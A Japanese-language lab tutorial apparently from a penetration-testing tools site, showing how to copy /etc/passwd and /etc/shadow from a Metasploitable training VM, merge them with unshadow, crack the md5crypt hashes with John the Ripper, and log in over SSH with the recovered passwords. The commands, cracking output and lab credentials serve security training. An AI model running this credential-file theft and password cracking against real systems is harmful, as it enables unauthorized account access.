John the Ripper | Penetration Testing Tools
正式名称 John the Ripper password cracker
UNIX や Linux のユーザーパスワードの暗号化に使われる DES, MD5、Windowsログオンに使われる NTLM など幅広い暗号化アルゴリズムに対応している。
Kali で Metasploitable に接続する。
root@kali:~# ssh msfadmin@192.168.56.105 msfadmin@192.168.56.105's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 ~(中略)~ Last login: Mon Sep 2 10:44:09 2019 msfadmin@metasploitable:~$
root に変更
msfadmin@metasploitable:~$ sudo -s [sudo] password for msfadmin: root@metasploitable:~#
/etc 配下のパスワードファイルを表示
root@metasploitable:~# cat /etc/passwd ~(省略)~
Metasploitable 側の上記パスワードファイルの内容をコピーし、Kali 側で新規テキストファイルに書き込む。
root@kali:~# vim password.txt root@kali:~# ls passwords.txt ~(以下略)~
同様に Metasploitable 側の shadow ファイルの内容をコピーし、Kali 側で新規テキストファイルに書き込む。
root@metasploitable:~# cat /etc/shadow ~(省略)~ root@kali:~# vim shadow.txt root@kali:~# ls shadow.txt password.txt ~(後略)~
passwords.txt, shadow.txt の二つのファイルから John the Ripper で解析可能な形式に変換したファイルを生成する。(unshadow コマンドを使用して、password ファイルと shadow ファイルを一つにまとめて、john.txt ファイルを作成する。)
root@kali:~# unshadow password.txt shadow.txt > john.txt Created directory: /root/.john root@kali:~# ls john.txt shadow.txt password.txt ~(後略)~
同PC上のパスワード解析であればコピペより上記3手順をまとめて下記コマンドの方が楽。
# unshadow /etc/passwd /etc/shadow > john.txt
生成された password.db ファイルから Jhon the Ripper を実行する。
root@kali:~# john john.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status user (user) postgres (postgres) msfadmin (msfadmin) service (service) Warning: Only 38 candidates buffered for the current salt, minimum 48 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Warning: Only 20 candidates buffered for the current salt, minimum 48 needed for performance. Further messages of this type will be suppressed. To see less of these warnings, enable 'RelaxKPCWarningCheck' in john.conf Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist 123456789 (klog) batman (sys) Proceeding with incremental:ASCII 6g 0:00:09:41 3/3 0.01031g/s 191521p/s 191522c/s 191522C/s bms48rf..bms773s Use the "--show" option to display all of the cracked passwords reliably Session aborted (この先もパスワードを探し続けるので Ctrl + C で終了させる) 6g 0:00:09:41 3/3 0.01031g/s 191521p/s 191522c/s 191522C/s bms48rf..bms773s Use the "--show" option to display all of the cracked passwords reliably Session aborted root@kali:~#
解析結果を改めて表示
root@kali:~# john john.txt --show sys:batman:3:3:sys:/dev:/bin/sh klog:123456789:103:104::/home/klog:/bin/false msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash user:user:1001:1001:just a user,111,,:/home/user:/bin/bash service:service:1002:1002:,,,:/home/service:/bin/bash 6 password hashes cracked, 1 left (6つクラック、残り1)
解析したパスワードで Metasploitable に繋いでみる。
root@kali:~# ssh user@192.168.56.105 user@192.168.56.105's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ user@metasploitable:~$ uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux いけた